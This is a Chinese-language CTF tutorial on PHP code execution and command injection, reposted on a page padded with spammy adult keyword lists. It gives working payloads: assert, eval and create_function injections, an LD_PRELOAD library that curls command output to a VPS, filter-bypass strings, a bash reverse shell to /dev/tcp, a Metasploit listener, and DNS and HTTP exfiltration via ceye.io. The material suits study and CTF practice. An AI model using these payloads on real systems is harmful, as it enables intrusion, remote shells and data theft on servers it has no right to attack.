婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > CTF命令執行及繞過技巧

CTF命令執行及繞過技巧

熱門標簽:常州地圖標注服務商 安裝電銷外呼系統 釘釘打卡地圖標注 福州人工外呼系統哪家強 百度商鋪地圖標注 地圖標注平臺怎么給錢注冊 衡水外呼系統平臺 注冊400電話申請 新河科技智能外呼系統怎么樣

前言

今天是代碼審計部分的一個技巧補充!前些陣子做了sql注入回顧篇系列!今天開啟php代碼審計系列!

今天內容主要是CTF中命令注入及繞過的一些技巧!以及構成RCE的一些情景!

正文

在詳細介紹命令注入之前,有一點需要注意:命令注入與遠程代碼執行不同。他們的區別在于,遠程代碼執行實際上是調用服務器網站代碼進行執行,而命令注入則是調用操作系統命令進行執行。 雖然最終效果都會在目標機器執行操,但是他們還是有區別的,基于這個區別,我們如何找到并利用方式也是有所不同的!

代碼執行 代碼執行的幾種方式

${}執行代碼
eval
assert
preg_replace
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()

${}執行代碼

方法:${php代碼}

${phpinfo()};

eval()執行代碼

eval('echo 2;');

assert()

普通調用

//?a=phpinfo()?php assert($_POST['a']);?> 

assert函數支持動態調用

//?a=phpinfo()
?php
$a = 'assert';
$a($_POST['a']);
?>

php官方在php7中更改了assert函數。在php7.0.29之后的版本不支持動態調用。

以上兩種調用方法在php7.0.29版本之前都測試成功,7.0.29版本之后又動態調用的方法無法成功。

在7.0.29版本之后發現的奇怪的一點

?php
//?a=phpinfo()
$a = 'assert';
$a($_POST['a']);
?>
//phpinfo()無法執行成功
?php
$a = 'assert';
$a(phpinfo());
?>
//成功執行phpinfo()

preg_replace()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int $count ]] )

preg_replace 執行一個正則表達式的搜索和替換。

執行代碼需要使用/e修飾符。如果不使用/e修飾符,代碼則不會執行

$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');

create_function()

說明

string create_function ( string $args , string $code )

該函數用來創建匿名函數。
這個函數的實現大概是這樣的

$b = create_function('$name','echo $name;');
//實現
function niming($name){
echo $name;
}

$b(yang);

niming('yang');

第二個參數是執行代碼的地方,將payload放在第二個參數的位置,然后調用該函數就可以執行payload了。
執行代碼

$a = 'phpinfo();';
$b = create_function(" ",$a);
$b();

上面這種方法是最直接的,接下來看一點有趣的。

自己寫的小示例

$id=$_GET['id'];

$code = 'echo $name. '.'的編號是'.$id.'; ';

$b = create_function('$name',$code);
//實現
function niming($name){
echo $name."編號".$id;
}
$b('sd');

這里直接傳入phpinfo是不行的,構造的payload

?id=2;}phpinfo();/* 

傳入后,代碼如下

function niming($name){
echo $name.編號2;
     }phpinfo();/*
}

這樣就執行了代碼,再給出網上找的一個例子。

?php

error_reporting(0);

$sort_by = $_GET['sort_by'];

$sorter = ‘strnatcasecmp';

$databases=array('1234′,'4321′);

$sort_function = ‘ return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';

usort($databases, create_function(‘$a, $b', $sort_function));

?>

構造的payload如下

?sort_by=”]);}phpinfo();/*

在自己寫示例的時候,因為網上的一個示例糾結了挺久。
代碼如下

?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "br/>";
echo "==============================";
echo "br/>";
$f1 = create_function('$a',$str2);
echo "br/>";
echo "==============================";
?>

糾結的原因是在這個例子中,構造$str2的時候,將變量a和變量b都寫在了引號之外,但是變量a是匿名函數的參數,如果直接寫在單引號外面的話,解析的時候會認為$a沒有賦值,從而設置為空。繼續往下看,匿名函數也就無法正常的執行。所以就在想辦法將$a寫在單引號里面,使其可以正常的作為匿名函數的第二個參數。

array_map()

官方文檔

array array_map ( callable $callback , array $array1 [, array $... ] )
array_map():返回數組,是為 array1 每個元素應用 callback函數之后的數組。 callback 函數形參的數量和傳給 array_map() 數組數量,兩者必須一樣。

漏洞演示

//?a=assertb=phpinfo();
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);

call_user_func()/call_user_func_array()

和array_map()函數挺像的。

官方文檔

call_user_func()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一個參數 callback 是被調用的回調函數,其余參數是回調函數的參數。

call_user_func_array()

mixed call_user_func_array ( callable $callback , array $param_arr )
把第一個參數作為回調函數(callback)調用,把參數數組作(param_arr)為回調函數的的參數傳入。

示例

call_user_func()

// ?a=phpinfo();
call_user_func(assert,$_GET['a']);

call_user_func_array()

//?a=phpinfo();
$array[0] = $_GET['a'];

call_user_func_array("assert",$array); 

array_filter()

官方文檔

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次將 array 數組中的每個值傳遞到 callback 函數。如果 callback 函數返回 true,則 array 數組的當前值會被包含在返回的結果數組中。數組的鍵名保留不變。 

示例

$array[0] = $_GET['a'];
array_filter($array,'assert');

usort()/uasort()

usrot官方文檔

bool usort ( array $array , callable $value_compare_func )
本函數將用用戶自定義的比較函數對一個數組中的值進行排序。 如果要排序的數組需要用一種不尋常的標準進行排序,那么應該使用此函數。

shell_1

?php
// ?1[]=test1[]=phpinfo();2=assert
usort(...$_GET);
?>

只有在php5.6以上環境才可使用
詳解

關于...$_GET是php5.6引入的新特性。即將數組展開成參數的形式。

shell_2

下面這種寫法只在php5.6版本以下可以使用。

// ?1=1+12=phpinfo();
usort($_GET,'asse'.'rt');

命令執行 常見命令執行函數

  • system()
  • passthru()
  • exec()
  • shell_exec()
  • `反引號
  • ob_start()
  • mail函數+LD_PRELOAD執行系統命令
  • system()

➜ ~ php -r "system('whoami');"

passthru()

➜ ~ php -r "passthru('whoami');"

exec()

➜ ~ php -r "echo exec('whoami');"

shell_exec()

➜ ~ php -r "echo shell_exec('whoami');"

`反引號

➜ ~ php -r "echo @`whoami`;"

ob_start()

官方文檔

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函數將打開輸出緩沖。當輸出緩沖激活后,腳本將不會輸出內容(除http標頭外),相反需要輸出的內容被存儲在內部緩沖區中。

內部緩沖區的內容可以用 ob_get_contents() 函數復制到一個字符串變量中。 想要輸出存儲在內部緩沖區中的內容,可以使用 ob_end_flush() 函數。另外, 使用 ob_end_clean() 函數會靜默丟棄掉緩沖區的內容。

使用

?php
    ob_start("system");
    echo "whoami";
    ob_end_flush();
?>
//輸出www-data

mail函數+LD_PRELOAD執行系統命令

思路

LD_PRELOAD可以用來設置程序運行前優先加載的動態鏈接庫,php函數mail在實現的過程中會調用標準庫函數,通過上傳一個編譯好的動態鏈接程序(這個程序中重新定義了一個mail函數會調用的庫函數,并且重新定義的庫函數中包含執行系統命令的代碼。),再通過LD_PRELOAD來設置優先加載我們的上傳的動態鏈接程序,從而實現命令執行。

利用

a.c

#include stdlib.h>
#include stdio.h>
#include string.h> 
int main(){

void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
} 
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
} 

編譯

gcc -c -fPIC a.c -o a gcc -shared a -o a.so

mail.php

?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");
?>

監聽vps的4123端口,訪問mail.php。

繞過姿勢

空格

在bash下,可以用以下字符代替空格


${IFS}
$IFS$9
%09

測試

root@kali:~# cattest.txt hello world! root@kali:~# cat${IFS}test.txt hello world! root@kali:~# cat$IFS$9test.txt hello world! root@kali:~#

這里解釋一下${IFS},$IFS,$IFS$9的區別,首先$IFS在linux下表示分隔符,然而我本地實驗卻會發生這種情況,這里解釋一下,單純的cat$IFS2,bash解釋器會把整個IFS2當做變量名,所以導致輸不出來結果,然而如果加一個{}就固定了變量名,同理在后面加個$可以起到截斷的作用,但是為什么要用$9呢,因為$9只是當前系統shell進程的第九個參數的持有者,它始終為空字符串!

%09測試

?php
$cmd = $_GET['cmd'];
system("$cmd");
?>

//http://ip/index.php?cmd=cat%091.txt

命令終止符

%00 %20#

命令分隔符
這里介紹5種姿勢

%0a 符號

%0d 符號

; 符號
在 shell 中,擔任”連續指令”功能的符號就是”分號”

符號

放在啟動參數后面表示設置此進程為后臺進程,默認情況下,進程是前臺進程,這時就把Shell給占據了,我們無法進行其他操作,對于那些沒有交互的進程,很多時候,我們希望將其在后臺啟動,可以在啟動參數的時候加一個''實現這個目的。進程切換到后臺的時候,我們把它稱為job。切換到后臺時會輸出相關job信息,這里36210就是該進程的PID

| 符號

管道符左邊命令的輸出就會作為管道符右邊命令的輸入,所以左邊的輸出并不顯示

敏感字符繞過

這里假設過濾了cat

利用變量繞過

root@kali:~# a=l;b=s;$a$b

利用base編碼繞過

root@kali:~# echo 'cat' | base64
Y2F0Cg==
root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt
hello world!
root@kali:~#

未定義的初始化變量

cat$x /etc/passwd

連接符

cat /etc/pass'w'd

七個字的命令執行

這題是利用重命名文件繞過的,所以可以這樣進行調用,因為限制了命令的長度,所以無法直接構造,只能通過文件構造

這里先介紹一下小技巧,linux下創建文件的命令可以用1>1創建文件名為1的空文件

進一步fuzz發現a>1居然也可以,雖然會報錯,但是還是可以創建空文件。

ls>1可以直接把把ls的內容導入一個文件中,但是會默認追加\n

有了這個基礎我們再來看這道題

?php
if(strlen($_GET[1])8){
     echo shell_exec($_GET[1]);
}
?>

簡單的代碼,可以利用

1>wget\

1>域名.\

1>com\

1>-O\

1>she\

1>ll.p\

1>p
ls>a
sh a 

這里注意.不能作為文件名的開頭,因為linux下.是隱藏文件的開頭,ls列不出來

然而這里還有個問題,就是ls下的文件名是按照字母順序排序的,所以需要基于時間排序

ls -t>a

網絡地址轉化為數字地址

網絡地址有另外一種表示形式就是數字地址,比如127.0.0.1可以轉化為2130706433可以直接訪問http://2130706433或者http://0x7F000001這樣就可以繞過.的ip過濾,這里給個轉化網址http://www.msxindl.com/tools/ip/ip_num.asp

GCTF RCE

這題過濾了很多東西,下面說一下比較重要的

|||;|%{}| |''|.|

這里給個payload

%0acat%09
%0Acat$IFS$9
%0acat

用%0a繞過curl然后在從我前面繞過空格的payload中隨便挑一個沒有過濾的

通配符繞過

Bash標準通配符(也稱為通配符模式)被各種命令行程序用于處理多個文件。有關標準通配符的更多信息,并不是每個人都知道有很多bash語法是可以使用問號“?”,正斜杠“/”,數字和字母來執行系統命令的。你甚至可以使用相同數量的字符獲取文件內容。

我們可以通過man 7 glob 查看通配符幫助或者直接訪問linux官網查詢文檔

這里我為大家舉個栗子:

例如ls命令我們可以通過以下語法代替執行:

/???/?s --help

由于有師傅已經寫的很好了,我也就不獻丑了!

處理無回顯的命令執行

1.利用自己的vps

第一種是利用bash命令并在本地進行nc監聽結果查看回連日志,然后就行

先在vps處用nc進行監聽

nc -l -p 8080 -vvv

然后在靶機命令執行處輸入

|bash -i > /dev/tcp/xxxxxI(你的vps的公網ip)/8080 0>1

第二種是msg反向回連

同樣vps用msg監聽

vps的msf監聽:

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j

然后在靶機命令執行處輸入

|bash -i > /dev/tcp/xxxxxI(你的vps的公網ip)/8080 0>1

即可getflag

2.利用ceye平臺

平臺的payload

記錄在http request中

題目地址

http://192.168.10.55/

后臺源碼

?php
$a = $_GET['id'];
system("$a");
?>

payload

curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami` 

只能使用linux的curl訪問才會成功,在瀏覽器直接訪問時無效的。
效果

圖1

記錄在dns query中

簡單介紹

DNS在解析的時候是逐級解析的,并且會留下日志,所以可以將回顯放在高級域名,這樣在解析的時候就會將回顯放在高級域名中,我們就可以在dns query中看到回顯。
舉個例子

在注冊ceye.io之后會分配一個三級域名。就是******.ceye.io。

ping `whoami`.******.ceye.io 

上面這條命令最終在ping的時候ping的是“root.***\***.ceye.io”,root就是我們構造的惡意命令執行的結果,我們把它放在四級域名這里,這樣在DNS解析的時候就會記錄下root這個四級域名。然后可以在ceye平臺上看到我們的dns解析日志。也就看到了命令執行的回顯。

所以這種方法的使用必須有ping命令。

真題解析

題目存在robots.txt文件,訪問發現兩個文件

index.txt
where_is_flag.php

index.php代碼

?php 
include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping ".$ip);

可以看到存在ping命令,但是測試沒有回顯,于是就采用dnslog的方式來查看回顯。
payload

ping `cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
# 因為域名中不允許有空格,但是php代碼中可能會含有空格,所以使用sed命令將php代碼的空格替換為xx

最終的url

http://192.168.5.90/?ping=`cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io

在dns query中查看

圖2

可以看到文件的內容是

?php $flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php";?>

由此得知flag.php的位置,繼續打印flag.php的內容
獲取flag的url

http://192.168.5.90/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io

圖三

得到flag。

Think one Think

命令注入的利用其實跟sql注入流程相似,首先找到命令執行點,然后一步一步bypass,最好自己搭建環境實地測試,同時結合官方文檔和資料,最終就會得到你需要的payload!

以上就是CTF命令執行及繞過技巧的詳細內容,更多關于CTF命令執行及繞過技巧的資料請關注腳本之家其它相關文章!

您可能感興趣的文章:
  • PHP序列化/對象注入漏洞分析
  • PHP編程中的常見漏洞和代碼實例
  • php文件上傳你必須知道的幾點
  • 由php中字符offset特征造成的繞過漏洞詳解
  • php安全攻防利用文件上傳漏洞與繞過技巧詳解

標簽:鷹潭 六安 柳州 鶴崗 克拉瑪依 唐山 遼陽 白城

巨人網絡通訊聲明:本文標題《CTF命令執行及繞過技巧》,本文關鍵詞  CTF,命令,執行,及,繞過,技巧,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《CTF命令執行及繞過技巧》相關的同類信息!
  • 本頁收集關于CTF命令執行及繞過技巧的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    国产精品的网站| 国产在线不卡一区| 91捆绑美女网站| 国产成人一区二区精品非洲| 亚洲小少妇裸体bbw| 国产精品夫妻自拍| 国产亚洲成年网址在线观看| 99久久精品国产一区二区三区| 亚洲成av人片一区二区| 亚洲国产精品传媒在线观看| 欧美日韩一区三区| 91在线观看高清| 盗摄精品av一区二区三区| 蜜臀国产一区二区三区在线播放| 一区二区三区加勒比av| 国产亚洲女人久久久久毛片| 日韩欧美国产精品| 6080yy午夜一二三区久久| 91精彩视频在线| 白白色亚洲国产精品| 99久久伊人精品| 国产美女精品人人做人人爽| 日韩精品亚洲专区| 天天做天天摸天天爽国产一区| 亚洲免费av高清| 亚洲男帅同性gay1069| 日韩伦理av电影| 亚洲欧美综合另类在线卡通| 国产精品久久久久久久久久免费看| 中文字幕免费不卡| 亚洲乱码国产乱码精品精小说 | 免费观看日韩av| 麻豆精品在线播放| 国产91丝袜在线18| 色综合一区二区| 欧美日韩精品久久久| 欧美一区二区三区喷汁尤物| 欧美精品一区二区在线观看| 国产片一区二区三区| 亚洲欧美经典视频| 日韩精品乱码av一区二区| 精品系列免费在线观看| 成人精品一区二区三区中文字幕| 色94色欧美sute亚洲13| 这里只有精品免费| 国产精品久久久久久久久免费丝袜| 亚洲已满18点击进入久久| 日本在线不卡视频| 成人黄色软件下载| 欧美剧情片在线观看| 精品国产一区二区精华| 国产精品素人视频| 亚洲国产精品天堂| 国产一区二区视频在线播放| 91日韩在线专区| 欧美一卡在线观看| 国产精品色婷婷久久58| 午夜精品视频一区| 国产91精品露脸国语对白| 欧美色中文字幕| 精品国产乱码久久久久久久 | 国产最新精品精品你懂的| 风间由美中文字幕在线看视频国产欧美| 91色视频在线| 国产日韩av一区二区| 天天综合色天天综合色h| 国产成人精品www牛牛影视| 制服.丝袜.亚洲.中文.综合| 一区二区三区小说| 成人app软件下载大全免费| 欧美一区二区啪啪| 亚洲尤物视频在线| 色香蕉成人二区免费| 久久新电视剧免费观看| 亚洲国产一区在线观看| 成人性视频免费网站| 欧美不卡一区二区三区| 夜夜夜精品看看| 91精品国产综合久久婷婷香蕉| 国产精品久久久久桃色tv| 亚洲人妖av一区二区| 麻豆传媒一区二区三区| 91老师国产黑色丝袜在线| 欧美激情一区在线| 婷婷一区二区三区| 欧美性大战久久久久久久| 久久先锋资源网| 日韩电影免费在线| 91久久免费观看| 亚洲视频在线一区二区| 国产精品一区二区在线看| 日韩精品影音先锋| 美女视频黄免费的久久| 欧美一区欧美二区| 日韩综合小视频| 精品一区二区在线视频| 欧美日韩高清一区二区三区| 91精品福利视频| 国产精品美女久久福利网站| 奇米一区二区三区av| 在线观看一区二区视频| 一区二区三区在线高清| 99久久99久久免费精品蜜臀| 国产精品理论片| 99天天综合性| 亚洲一区二区三区四区在线免费观看 | 日日夜夜免费精品| 欧美久久一二三四区| 日本午夜一本久久久综合| 91精品国产高清一区二区三区蜜臀 | 精品久久久久久最新网址| 国产一区在线观看视频| 国产免费成人在线视频| 9i在线看片成人免费| 一二三区精品视频| 欧美变态tickling挠脚心| 国产不卡在线视频| 亚洲欧美国产毛片在线| 91国产视频在线观看| 午夜精品久久久久久久| 欧美高清激情brazzers| 国产一区二区三区四区五区美女 | 一二三区精品福利视频| 91蜜桃传媒精品久久久一区二区| 亚洲色图制服诱惑 | 一区二区三区在线观看动漫| 一本大道av伊人久久综合| 偷拍与自拍一区| 久久久精品国产免大香伊| 欧美精三区欧美精三区| 激情偷乱视频一区二区三区| 中文字幕制服丝袜成人av| 欧美日本在线播放| 国产日韩精品一区二区三区| 日本道精品一区二区三区 | 亚洲国产欧美在线| 欧美哺乳videos| 97久久久精品综合88久久| 日韩精品成人一区二区三区| 国产精品嫩草影院com| 欧美精品免费视频| 成人毛片老司机大片| 日本91福利区| 亚洲日本乱码在线观看| 精品国产乱码久久| 欧美日韩和欧美的一区二区| 成人av影视在线观看| 精品一区二区日韩| 欧美高清dvd| 色综合天天综合网天天狠天天| 另类小说综合欧美亚洲| 亚洲久草在线视频| 国产精品丝袜黑色高跟| 7799精品视频| 一本一本久久a久久精品综合麻豆| 另类欧美日韩国产在线| 一区二区三区在线影院| 国产女人18毛片水真多成人如厕 | 亚洲裸体xxx| 精品国产91乱码一区二区三区| 91美女福利视频| 韩国av一区二区三区在线观看 | 亚洲老司机在线| 久久免费的精品国产v∧| 欧美系列一区二区| 成人免费不卡视频| 丰满少妇久久久久久久 | 精品无人区卡一卡二卡三乱码免费卡 | 亚洲品质自拍视频| 欧美大片在线观看一区| 在线观看网站黄不卡| 国产精品一区二区在线观看网站| 一区二区三区91| 亚洲欧洲性图库| 日韩伦理av电影| 亚洲在线观看免费| 日韩精品乱码免费| 性欧美疯狂xxxxbbbb| 国产精品麻豆网站| 亚洲免费电影在线| 一区二区三区91| 香蕉久久一区二区不卡无毒影院| 亚洲一二三四久久| 亚洲一线二线三线视频| 亚洲一区视频在线观看视频| 亚洲成人tv网| 精品在线播放午夜| 99热99精品| 欧美午夜一区二区| 4438x成人网最大色成网站| 日韩无一区二区| 久久久国产综合精品女国产盗摄| 国产清纯在线一区二区www| 综合欧美一区二区三区| 一区二区三区在线视频播放| 亚洲日本丝袜连裤袜办公室| 亚洲综合一区二区精品导航| 日韩精彩视频在线观看| 国产精品自拍网站| 色综合久久中文综合久久牛|